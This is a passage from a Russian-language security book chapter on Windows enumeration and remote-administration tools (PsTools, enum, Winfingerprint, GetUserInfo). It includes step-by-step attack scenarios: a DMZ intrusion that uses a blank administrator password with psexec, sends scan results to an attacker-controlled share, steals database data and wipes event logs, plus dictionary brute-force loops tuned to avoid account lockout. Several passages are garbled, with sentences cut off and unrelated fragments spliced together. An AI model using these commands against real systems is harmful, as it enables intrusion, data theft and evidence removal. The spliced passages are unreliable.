Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f ; это работает аналогично команде shutdown -c -y из Resource Kit.
Пример из жизни. Проникновение в DMZ
Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.
В любом случае порты NetBIOS между корпоративной сетью и PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.
C:\fscan -p1-1024 192.168.17.1-192.168.17.255 192.168.17.1 139/tcp 192.168.17.1 135/tcp 192.168.17.1 3389/tcp 192.168.17.1 445/tcp 192.168.17.39 80/tcp 192.168.17.39 139/tcp 192.168.17.39 135/tcp 192.168.17.39 445/tcp 192.168.17.148 80/tcp 192.168.17.148 139/tcp 192.168.17.202 445/tcp 192.168.17.239 139/tcp 192.168.17.239 135/tcp 192.168.17.239 445/tcp
Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.
Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.
C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p "" \\192.168.17.%%h systeminfo_192.168.17.%%h.txt
Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (
SP2SRP1: Windows 2000 Security Rollup Package...
Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.
Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.
C:\psexec -u Administrator -p "" \\192.168.17.148 net use * \\10.0.0.99\tools pass /u:user Drive H: is now connected to \\10.0.0.99\tools. The command completed successfully.
Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).
C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255
Посмотрите, что здесь происходит. Fscan копируется на систему-жертву ( -c ); система-жертва запускает fscan и сохраняет отчет ( -o h:\fscan.output ) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.
192.168.17.202 1433/tcp
Взломщик нашел базу данных!
Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.
netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.
C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148 C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148
Пример из жизни. Одомашнивание IDS
PsTools кажется настолько элементарным, что вы можете усомниться в его полезности. Спросите себя, что вы хотите сделать. Способность дистанционно взаимодействовать со службами, файлами протоколов (logfiles) и командной строкой - это не то, над чем можно посмеяться. Фактически, немного гениальности в комбинации с несколькими короткими batch-файлами и запланированными задачами может создать систему вторжения/обнаружения (IDS) среднего уровня. Рассмотрите следующие сценарии.
Управляющие процессы. В 2001 г. прогон взломов IIS отправлял программные оболочки cmd.exe обратно к взломщику. Иногда cmd.exe переименовывали в root.exe.
Чтобы справиться с таким типом взлома, вы сначала настраиваете усиленную систему Windows на работу в качестве главного административного сервера. Затем запускаете следующий сценарий, чтобы просмотреть на предмет нестандартных процессов (вам понадобятся команды sleep и tee из Resource Kit или Cygwin).
rem ProcWatch.bat|
rem usage: procwatch.bat IP address username password
:loop
pslist \\%1 -u %2 -p%3 cmd | tee procwatch.txt
sleep 60
goto :loop
Обратите внимание, что batch-файл принимает IP-адрес, имя пользователя и пароль из командной строки. Это гарантирует, что мы никогда не пишем пароль, который делает файл универсально применимым. Заметьте, что файл истории DOS на главном сервере запомнит пароль. Следующее диалоговое окно свойства (Properties) показывает, как установить размер буфера в ноль, используя свойства (Properties) cmd.exe.

Вы можете наблюдать отчет на командном экране, или запустить другие средства, чтобы просмотреть файл procwatch.txt автоматически на присутствие cmd.exe.
Сбор файлов протоколов (Log Files). Другое преимущество использования PsExec и PsLogList состоит в консолидации файлов протоколов (logfile). Мы уже продемонстрировали, насколько полезен PsLogList для сбора и чистки удаленных протоколов событий. Файлы протоколов Web-сервера требуют более сложного подхода. Вы можете запускать сценарии на каждом отдельном Web-сервере, которые копируют протоколы, или запустить один сценарий со своего главного административного сервера, который собирает файлы протоколов со всех Web-серверов. В дополнение к следующим двум batch-файлам, вам необходимо задать следующее.
rem CollectLogs.bat rem usage: CollectLogs.bat username password for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2
Это вспомогательный batch-файл, который выполняет фактическую работу.
rem rotate.bat rem usage: rotate.bat IP address username password rem Stop the Web Service psservice \\%1 -u %2 -p %3 stop w3svc rem Mount the master's file share for dropping off files psexec \\%1 -u %2 -p %3 net use L: \\master\dropoff plainpass /u:guest rem Copy the files from the web server to the master psexec \\%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\ rem Move the files from the master's dropoff folder to the log folder rem for the web server move C:\shares\dropoff\*.log C:\logs\%1\ rem Disconnect the share psexec \\%1 -u %2 -p %3 net use L: /del rem Restart the Web Service psservice \\%1 -u %2 -p %3 start w3svc
Вы можете запускать его каждый день, неделю, месяц. Он оставляет файлы протоколов (logfiles) на Web-сервере, но создает копии на вашем главном сервере. Затем вы можете запускать другие сценарии, чтобы производить автоматизированный обзор протоколов.
В рассказе Конан Дойля "Долина страха" Шерлок Холмс бранит полицейского инспектора: "Широта кругозора - одно из главных требований в нашей профессии. Взаимосвязь идей и косвенное использование знаний зачастую бывает невероятно интересным". В этой лекции мы надеемся продемонстрировать, как коллекционирование знаний об удаленном компьютере может быть использовано в личных целях. Меньше всего вам понравится создавать список пользователей, которые имеют интерактивный доступ к исследуемой системе; но можно получить и большое количество другой информации. Какие использованы (или не использованы) исправления в системе? Подбор пароля один из старейших, наиболее часто используемых методов атаки системы, но блокирует ли система вход после нескольких последовательных вводов неправильного пароля?
Знания об удаленной системе помогут вам сделать предположения о возможной уязвимости системы. В других случаях области коллективного доступа со значимой информацией могут быть сконфигурированы для анонимного доступа. Вам необходимо искать исчерпывающую информацию, превосходящую данные сканирования портов.
Большинство информации о Windows может быть получено из области общего пользования ( содержит много системной и пользовательской информации, необходимой для обслуживания их запросов.
Наиболее распространенный вид соединения - NULL -соединение или анонимное, которое может быть установлено вручную с использованием команды net:
C:\>net use \\target\ipc$ " " /u:" "
Команда smbclient (из набора команд поддержки Samba) также может установить анонимное соединение, но только команда net use устанавливает соединение, поверх которого может работать другое приложение.
$ smbclient \\\\target\\ipc\$ " " -U " "
Важность этого простого, анонимного соединения состоит в том, чтобы продемонстрировать, как вы можете использовать инструменты для получения большого количества информации об исследуемой системе.
Утилита Winfingerprint активно разрабатывается, доступна в исходных кодах и позволяет получить большое количество информации из
Winfingerprint основана на графическом интерфейсе пользователя (GUI). Программа может сканировать единичный хост или непрерывный интервал сети. Состав запрашиваемой информации определяется установкой соответствующих отметок в формах. В этом есть только один неясный момент: нажимая кнопку OK, вы подразумеваете команду "сканировать хост". Рисунок 7.1 демонстрирует сканирование с отмеченным флагом NetBIOS.
(рис 7.1) Сканирование WinfingerprintЭто не главный фокус в использовании Winfingerprint. Но, тем не менее, отметим некоторую полезную информацию.
Winfingerprint может определить с некоторой степенью подробности тип сервера и его операционную систему. Идентификаторы первичных контроллеров доменов (Winfingerprint выводит список системных идентификаторов ID (SID) для каждого пользователя. Так можно определить администратора (SID 500).Несмотря на извлекаемое количество информации, Winfingerprint, как все программы с графическим интерфейсом, имеет тот же недостаток - он не может быть запущен под управлением файла параметров. Интерфейс также позволяет задать большой интервал для сканирования, что приведет к получению результата в не слишком удобном формате. Можно использовать Perl-скрипт для анализа результата по ключевым полям, но это будет весьма неудобно для большой сети.
Для администраторов, которые хотят получить доступ к самым свежим возможностям Winfingerprint, доступны исходные коды программы. Используйте
$ cvs -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net :/cvsroot/winfingerprint login (Logging in to anonymous@cvs.winfingerprint.sourceforge.net) CVS password: $ cvs -z3 -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net :/cvsroot/winfingerprint co winfingerprint
Результирующая директория содержит рабочий проект для Visual Studio. Откройте проект Visual Studio Project (
). Эта коллекция включает в себя несколько утилит, составляющих набор инструментов для администраторов, которым действительно требуется залезть внутрь Windows.
net user, с несколькими мелкими отличиями, на которые важно обратить внимание. Строки, представленные жирным шрифтом, содержат информацию, которой нет в сообщениях команды net user.
C:\>GetUserInfo.exe administrator GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002 User information for [Local]\administrator User Name Administrator Full Name Description Built-in account for administering the computer/domain User's Comment User Type Admin Enhanced Authority Account Type Global Workstations Home Directory User Profile Logon Script Flags NO_PWD_EXPIRE Account Expires Never Password age in days 249 Password last set 7/6/2001 3:22 PM Bad PWD count 0 Num logons (this machine) 2432 Last logon 3/12/2002 8:24 PM Logon hours All Global group memberships *None Local group memberships *Administrators Completed.
Используя информацию о паролях (возраст, счетчик ошибочно введенных паролей, число входов в систему), вы можете сделать несколько выводов об этом пользователе. Неправильно введенные пароли могут свидетельствовать о предпринимаемых атаках или, если вы сами совершаете такую атаку, о том, как близко вы к пределу возможного количества попыток ввода неверного пароля. Возраст пароля может свидетельствовать о старом, не изменявшемся пароле, что является признаком пользовательского профиля, который никогда не использовался. Количество входов в систему может свидетельствовать об интенсивности использования соответствующего пользовательского профиля. Профиль с большим количеством входов может означать, что пользователь часто использует систему; соответственно малое количество входов может говорить о не слишком частой проверке системы. Конечно, количество входов в систему больше нуля для заблокированного пользователя (например, guest) означает, что в сети произошло нечто.
Используя символ точки (.), можно перечислить всех пользователей системы. Посмотрите на правильный синтаксис.
C:\>GetUserInfo.exe \. GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002 User Accounts for [Local] --------------------------------------------------------------------- Administrator Orc skycladgirl test __vmware_user__
С этого момента вы можете повторять просмотр для каждого пользователя для сбора специфической информации о пользовательском профиле. Утилиты командной строки хороши, а средства командной строки, которые могут работать на удаленной системе, просто великолепны. GetUserInfo может извлекать информацию о заданном домене или сервере.
C:\>GetUserInfo.exe \\192.168.0.43\. C:\>GetUserInfo.exe domain\\192.168.0.43\.
Замените точку именем пользователя для получения сведений о заданном пользователе.
.
Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.
C:\>enum.exe usage: enum.exe [switches] [hostname|ip] -U: get userlist -M: get machine list -N: get namelist dump (different from -U|-M) -S: get sharelist -P: get password policy information -G: get group and member list -L: get LSA policy information -D: dictionary crack, needs -u and -f -d: be detailed, applies to -U and -S -c: don't cancel sessions -u: specify username to use (default "") -p: specify password to use (default "") -f: specify dictfile to use (wants -D)
Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу
C:\>enum -UPG 192.168.0.139
server: 192.168.0.139
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
getting user list (pass 1, index 0)... success, got 5.
Administrator Guest IUSR_ALPHA IWAM_ALPHA
TsInternetUser
Group: Administrators
ALPHA\Administrator
Group: Guests
ALPHA\Guest
ALPHA\TsInternetUser
ALPHA\IUSR_ALPHA
ALPHA\IWAM_ALPHA
Group: Power Users
cleaning up... success.
Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) ( IUSR_ALPHA, IWAM_ALPHA ) и Terminal Services ( TsInternetUser ).
Воспользуемся параметрами -MNS для получения сведений, относящихся к серверу.
C:\>enum.exe -MNS 66.192.0.139
server: 66.192.0.139
setting up session... success.
getting namelist (pass 1)... got 5, 0 left:
Administrator Guest IUSR_ALPHA IWAM_ALPHA
TsInternetUser
enumerating shares (pass 1)... got 3 shares, 0 left:
IPC$ ADMIN$ C$
getting machine list (pass 1, index 0)... success, got 0.
cleaning up... success.
Параметры позволили получить список пользователей, но мы также обнаружили общие файловые ресурсы. В данном случае присутствуют только ресурсы по умолчанию; однако мы можем предположить, что система имеет только один жесткий диск: C$. Помните, что здесь также установлен IIS. Из этого следует, что корневая директория для хранения Web-документов размещается на том же устройстве, что и директория C:\Winnt\System32. Это великолепная комбинация для использования некоторых особенностей IIS, например, такой, как ошибка в обходе директории Unicode.
Используем параметр -L для получения информации о Local Security Authority (
C:\>enum.exe -L 66.192.0.139
server: 66.192.0.139
setting up session... success.
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
netbios: ALPHA
domain: MOONBASE
quota:
paged pool limit: 33554432
nonpaged pool limit: 1048576
min work set size: 65536
max work set size: 251658240
pagefile limit: 0
time limit: 0
trusted domains:
indeterminate
netlogon done by a PDC server
cleaning up... success.
Теперь мы знаем, что имя системы ALPHA, и она относится к домену MOONBASE.
Зачастую вы можете обнаружить, что пользователь Administrator не имеет пароля на вход. Это случается, когда администратор проскакивает процесс инсталляции и забывает установить сложный пароль, или когда администратор предполагает, что пароль для входа с полномочиями администратора достаточно сложен. Используйте параметры -U и -p для получения информации о конкретном пользователе.
C:\>enum -UMNSPGL -u administrator -p "" 192.168.0.184
Administrator и называют администратором гостевой профиль ( Guest ). Неопытные взломщики, которые не могут найти правильного административного профиля, могут просто потерять время даром. Обратите внимание на число -500 в значении идентификатора пользователя SID.Пример из жизни. Угадай пароль!
Возможности для задания имени пользователя и пароля enum представляют собой элементарное средство для подбора паролей и, кроме того, включают опцию -f, что еще более упрощает ситуацию. Опция -P возвращает информацию об алгоритме пароля цели. Сюда входит период блокировки и число неправильных логинов до того, как Windows заблокирует системный пользовательский профиль. Вы должны всегда узнать это прежде, чем пытаться взломать пользовательский профиль.
C:\enum -P 192.168.0.36
server: 192.168.0.36
setting up session... success.
password policy:
min length: 7
min age: 2 days
max age: 42 days
lockout threshold: 5
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.
Воспользуйтесь этой информацией, чтобы настроить взлом перебором.
Заметьте, что, по определению, пользовательский профиль администратора не может быть заблокирован попытками неправильного ввода пароля. Воспользуйтесь средством passprop/adminlockout из Resource Kit, если хотите применить практику блокировки доступа к администратору. Если блокировка пользовательского профиля не применена, то тест очень прост; присоедините словарь к цели. В этом примере никакие пароли не могут быть короче 7 знаков (хотя администратор всегда может установить произвольный пароль), следовательно, вам придется удалить слова из 6 букв из своего словаря.
Выберите пользовательский профиль для взлома, настройте свой любимый файл со словарем и спускайте с привязи enum.
C:\enum -D -u Administrator -f dict.txt
Так запускается достаточно быстрая атака на пользовательский профиль администратора. Если вы пытаетесь взломать чей-либо пользовательский профиль, вам придется уделить больше внимания ограничениям по числу попыток. Подход, который работает в пределах 5 неправильных логинов, и период в 30 минут требует применения средств Cygwin или Resource Kit (для функции режима ожидания).
C:\for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36 output.txt sleep 180s
Заметно, что практика блокировки серьезно влияет на использование подбора пароля. Однако мы можем сменить нашу методологию, нацелившись сразу на нескольких пользовательских профилей, чтобы ускорить процесс. Воспользуйтесь опцией -G, чтобы идентифицировать пользователей из группы администратора или любой другой группы, на которую вы хотите нацелиться.
C:\enum -G 192.168.0.36
Затем снова примените перебор к обоим пользовательским профилям. Поместите имена пользовательских профилей в файл под названием users.txt. Если вам надо протестировать довольно большую пользовательскую базу, то не стоит беспокоиться о блокировке пользовательского профиля.
C:\for /F %%p in (dict.txt) do for /F %%u in (users.txt) do enum -u %%u -p %%p -M 192.168.0.36 output.txt
При использовании этой техники файл users.txt должен быть большим, а файл pass.txt маленьким. Она отыскивает пользовательские профили с простыми паролями, такими как password, changeme или pass123.
Комплект . Утилиты enum и Winfingerprint довольствуются установлением NULL PsTools требуют пользовательских полномочий для реализации некоторых возможностей. Тем не менее, этот набор утилит возвращает открытый порт NetBIOS к лучшим временам удаленного выполнения команд. Вместо описания утилит в алфавитном порядке, мы начнем с наиболее безобидных и работающих универсально. Набор администратора Windows должен содержать эти средства, поскольку они существенно упрощают удаленное администрирование.
Но для начала сделаем несколько замечаний об использовании этих программ.
В системе, где администрирование осуществляется с использованием графического интерфейса пользователя, левой кнопки мыши и терминальных служб, этот набор программ сохранит от излишнего напряжения в процессе работы.
sniffing -атаках, убедитесь, что ваши Windows 2000- и XP-серверы используют NTLMv2. Это дефект скрытой схемы аутентификации Windows, а не PsTools. Обратитесь к лекции "Средства взлома/подбора паролей" для получения дополнительной информации о паролях Windows.PsTools содержит 10 различных утилит, существенно упрощающих администрирование больших сетей. Удаленный доступ с использованием Terminal Services также способствует этому, но эти утилиты могут быть составной частью автоматических скриптов, включающих в себя журналы, списки активных пользователей, или могут выполняться по команде в дюжине систем.
PsFile дает возможность получить список файлов на хосте, которые используются другим хостом. Эта утилита зеркально воспроизводит net file. Программа используется для отладки общего доступа к файлам и контроля неавторизованного доступа к файлам. Ниже приводится сокращенный вывод.
C:\>psfile.exe
Files opened remotely on GOBLYNSWOOD:
[23] D:\downloads\VMware-license-linux.txt
User: ORC
Locks: 0
Access: Read
C:\>net file
ID Path User name # Locks
---------------------------------------------------------------
23 D:\downloads\VMware-license-linux.txt ORC 0
The command completed successfully.
Можно сказать, что пользователь ORC просматривает лицензионную информацию нашего приложения VMware. Эта программа не может дать сведений, откуда пользователь осуществляет доступ. Это работа для netstat. Что общего между двумя этими командами? Параметр -c работает точно так же, как и параметр /close программы net file. Он закрывает соединение, основанное на идентификаторе пользователя ID (отмечено жирным шрифтом в предыдущем примере).
C:\>psfile.exe 23 -c Closed file D:\downloads\VMware-license-linux.txt on GOBLYN.
Кажется, нет никакого преимущества по сравнению с утилитой net. Однако каждая утилита из набора PSTools работает поверх
C:\>psfile.exe \\192.168.0.176 -u Administrator -p IM!secure
Files opened remotely on 192.168.0.176:
[32] \PIPE\srvsvc
User: ADMINISTRATOR
Locks: 0
Access: Read Write
Если вы запустите программу psfile для хоста localhost и зададите его IP-адрес, то увидите, что он открывает соединение со службой server.
PsTool принимает в командной строке последовательность \\RemoteHost -u UserName -p password, даже если в справке ( /h ) ничего об этом не говорится.PsTools не заподозришь в запутанном соглашении об именовании. PsLoggedOn отображает пользователей, которые работают в системе, неважно, соединившись с помощью консоли, используя файлы или другим удаленным методом.
C:\>psloggedon.exe
Users logged on locally:
Unknown NT AUTHORITY\LOCAL SERVICE
Unknown NT AUTHORITY\NETWORK SERVICE
3/10/2002 11:23:49 AM GOBLYNSWOOD\pyretta
Unknown NT AUTHORITY\SYSTEM
Users logged on via resource shares:
3/12/2002 12:04:12 AM (null)\ORC
Список пользователей, соединившихся с системой общими ресурсами, может быть особенно интересен для администраторов. Можно управлять задачами, которые проверяют чувствительные системы, такие как контроллеры доменов, Web-серверы или базы данных финансового департамента. Вы можете понадеяться на журнал
Предполагая перспективу атак, будет предусмотрительно перехватывать атаки по переполнению буфера.
Переименование пользователя Administrator в "TeflonBilly" неплохо, но недостаточно для реальной безопасности. С использованием PsGetSid, любой, кто может установить NULL -соединение может получить строку, называемую "секретный идентификатор SID " (RID (Relative Identifier). Для пользователя с правами администратора, независимо от его имени, RID всегда равен 500 - практически, как у пользователя root в Unix, этот параметр всегда равен 0. Для гостевого профиля этот параметр всегда равен 501. Эти два RID -идентификатора никогда не изменяются.
C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure Orc SID for 192.168.0.176\\Orc: S-1-5-21-1454471165-484763869-1708537768-501
SID, которая заканчивается на -500. В противном случае, знайте, что профиль был переименован.Запрос идентификатора SID не может быть адресован для конкретного пользователя. PsGetSid может перечислить другие объекты, такие как компьютеры или группы пользователей.
C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure goblynswood SID for 192.168.0.176\\goblynswood: S-1-5-21-1454471165-484763869-1708537768 C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure "Power Users" SID for 192.168.0.176\\goblynswood: S-1-5-32-547
Сам по себе этот тип информации обычно не используется, но вместе со значениями RID -пользователей, полученных из -файлов, эти данные покрывают существенную часть структуры аутентификации домена.
Операционная система, продолжительность непрерывной работы (основанная на анализе PsInfo, как о бесполезном инструменте. Эта программа возвращает полезную информацию о системе. И помните, она делает это удаленно!
C:\>Psinfo.exe System information for \\GOBLYNSWOOD: Uptime: 8 days, 2 hours, 59 minutes, 9 seconds Kernel version: Microsoft Windows 2000, Uniprocessor Free Product type: Professional Product version: 5.0 Service pack: 2 Kernel build number: 2195 Registered organization: twilight conclave Registered owner: mps Install date: 1/2/2001, 3:03:03 PM System root: E:\WINNT Processors: 1 Processor speed: 1.0 GHz Processor type: x86 Family 6 Model 8 Stepping 10, GenuineIntel Physical memory: 320 MB HotFixes: Q147222: No Description Q252795: Windows 2000 Hotfix (Pre-SP3) [See Q252795 for more information] Q276471: Windows 2000 Hotfix (Pre-SP3) [See Q276471 for more information] Q285156: Windows 2000 Hotfix (Pre-SP3) [See Q285156 for more information] Q285851: Windows 2000 Hotfix (Pre-SP3) [See Q285851 for more information] Q295688: No Description Q296185: Windows 2000 Hotfix (Pre-SP3) [See Q296185 for more information] Q298012: Windows 2000 Hotfix (Pre-SP3) [See Q298012 for more information] Q299553: Windows 2000 Hotfix (Pre-SP3) [See Q299553 for more information] Q299796: Windows 2000 Hotfix (Pre-SP3) [See Q299796 for more information] Q302755: Windows 2000 Hotfix (Pre-SP3) [See Q302755 for more information] Q314147: Windows 2000 Hotfix (Pre-SP3) [See Q314147 for more information] SP2SRP1: Windows 2000 Security Rollup Package [See Q311401 for more information]
PsInfo предоставляет быстрый способ для проверки ваших серверов на предмет последних обновлений. Если у вас работает IIS, вы должны трепетно относиться к последним обновлениям и заплаткам. PsInfo получает информацию о последних обновлениях из настроек HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ системного реестра, поэтому некоторые заплатки приложений могут быть не внесены в этот список.
Использование командного файла упрощает ревизию системы.
C:\>for /L %i in (1,1,254) do psinfo \\192.168.0.%i > systeminfo_192.168.0.%i.txt
Обратите внимание, что мы обошли полномочия аутентификации. Если вы собираетесь создать пакетный файл, который требует доступа к удаленной системе, не помещайте имя пользователя и пароль в командный файл. Вместо этого запустите пакетный файл в контексте пользователя домена с полномочиями для ревизии этой информации. Проблема, с которой вы можете столкнуться, состоит в сложности доступа к системам, которые не являются частью домена.
PsInfo - фантастическое средство для управления конфигурацией. Мало других систем дают информацию об обновлениях по удаленному запросу.Это сильное средство для обеспечения удаленного просмотра и манипуляции службами. Команды Windows net start и net stop трепещут в присутствии PsService. Без параметров командной строки PsService возвращает список служб, установленных в системе. Следующий урезанный для краткости вывод содержит полную информацию о двух службах.
C:\>psservice.exe
SERVICE_NAME: inetd
DISPLAY_NAME: CYGWIN inetd
(null)
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
SERVICE_NAME: SharedAccess
DISPLAY_NAME: Internet Connection Firewall (ICF) / Internet Connection
Sharing (ICS)
Provides network address translation, addressing, name resolution
and/or intrusion prevention services for a home or small office network.
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Информация о службах, независимо от того, работает служба или нет, показывает роль системы, установленное программное обеспечение поддержания безопасности и, возможно, относительное значение для сети. Сервер, который осуществляет резервное копирование PsService обеспечивает возможность управления службами. Задайте одну из следующих команд для манипуляции службой.
C:\>psservice.exe /?
PsService v1.01 - local and remote services viewer/controller
Copyright (C) 2001 Mark Russinovich
Sysinternals - www.sysinternals.com
PsService lists or controls services on a local or remote Win2K/NT system.
Usage: psservice.exe [\\Computer [-u Username [-p Password]]] cmd optns
Cmd is one of the following:
query Queries the status of a service
config Queries the configuration
start Starts a service
stop Stops a service
restart Stops and then restarts a service
pause Pauses a service
cont Continues a paused service
depend Enumerates the services that depend on the one specified
find Searches for an instance of a service on the network
После команды задайте имя службы, для которой следует получить результат. Например, здесь представлено, как запустить IIS на удаленном компьютере (предполагая, что вы вошли в домен как администратор).
C:\>psservice.exe \\192.168.0.39 start w3svc
Вы можете также запустить, перезагрузить, приостановить и продолжить работу службы. Команда config слегка отличается от команды query, которая обеспечивает получение информации при запуске PsService без параметров. Команда config возвращает информацию о службах, которые работают на самом деле.
C:\>psservice.exe config inetd
SERVICE_NAME: inetd
(null)
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : d:\cygwin\usr\sbin\inetd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : CYGWIN inetd
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
И, наконец, команда find может быть использована для поиска службы, работающей в сети. Она работает подобно сканеру сети. Например, для поиска хостов в домене, на которых выполняется служба Terminal Services, следует искать службу termservice.
C:\>psservice.exe find termservice Found termservice on: \\ZIGGURAT \\GOBLYNSWOOD
Используйте это совпадение со сканером портов для определения "кривых" установок IIS в вашей сети.
PsList отображает список процессов на локальной или удаленной машине. Параметры -d, -m и -x отображают информацию о нитях, памяти и соответственно, комбинацию этих двух параметров. Однако можно использовать просто pslist.
C:\>pslist.exe Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time Idle 0 0 1 0 16 0:00:00.000 3:57:29.219 0:00:00.000 System 8 8 39 319 216 0:00:00.000 0:00:11.536 0:00:00.000 SMSS 152 11 6 33 560 0:00:00.210 0:00:00.741 4:27:11.031 CSRSS 180 13 10 494 3560 0:00:00.650 0:01:30.890 4:26:59.084 WINLOGON 200 13 17 364 3256 0:00:00.230 0:00:01.081 4:26:55.879 SERVICES 228 9 30 561 5640 0:00:01.542 0:00:03.535 4:26:48.058 LSASS 240 9 14 307 520 0:00:00.260 0:00:00.230 4:26:48.028 svchost 420 8 9 333 3748 0:00:00.150 0:00:00.150 4:26:41.839 spoolsv 452 8 12 166 3920 0:00:00.070 0:00:00.160 4:26:41.088
Вы также можете получить информацию о конкретном процессе по имени или идентификатору ID, обратившись к нему в командной строке. Например, чтобы увидеть, сколько ресурсов пожирает Internet Explorer, попытайтесь выполнить следующее.
C:\pslist.exe iexplore Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time IEXPLORE 636 8 17 805 26884 0:00:14.711 0:00:17.154 4:38:27.694 IEXPLORE 1100 8 28 1054 27980 0:00:24.375 0:00:40.888 4:36:25.388
ID (PID) программы LSASS. PsList - великолепный способ узнать его.Параметры -s и -r могут пригодиться для мониторинга важных серверов или отладки. Параметр -s переводит PsList в режим диспетчера задач. Другими словами, он обеспечивает непрерывное обновление до тех пор, пока вы не нажмете Esc - практически, как для команды top в Unix. Параметр -r устанавливает время обновления в секундах. Например, вы можете осуществлять мониторинг процесса IIS на Web-сервере каждые 10 секунд.
C:\>pslist.exe -s -r 10 inetinfo.exe
Параметр -t отображает каждый процесс и его нить в формате дерева, упрощая визуализацию взаимосвязи процессов в системе. Ниже представлен сокращенный вывод, который отображает системные нити.
C:\>pslist.exe -t
Process information for GOBLYNSWOOD:
Name Pid Pri Thd Hnd VM WS Priv
Idle 0 0 1 0 0 16 0
System 8 8 39 323 1668 216 24
SMSS 152 11 6 33 5248 560 1072
CSRSS 180 13 10 502 22700 3576 1512
WINLOGON 200 13 17 364 35812 3252 5596
SERVICES 228 9 31 563 33748 5652 2772
svchost 420 8 9 333 22624 3748 1528
MDM 1420 8 3 96 25996 2640 924
Avsynmgr 556 8 4 139 28024 2708 1460
VSStat 896 8 2 112 26376 2664 1376
vshwin32 956 8 7 219 54220 6468 3908
WebScanX 1036 8 3 194 40020 6052 4628
Avconsol 976 8 2 112 28500 2640 1484
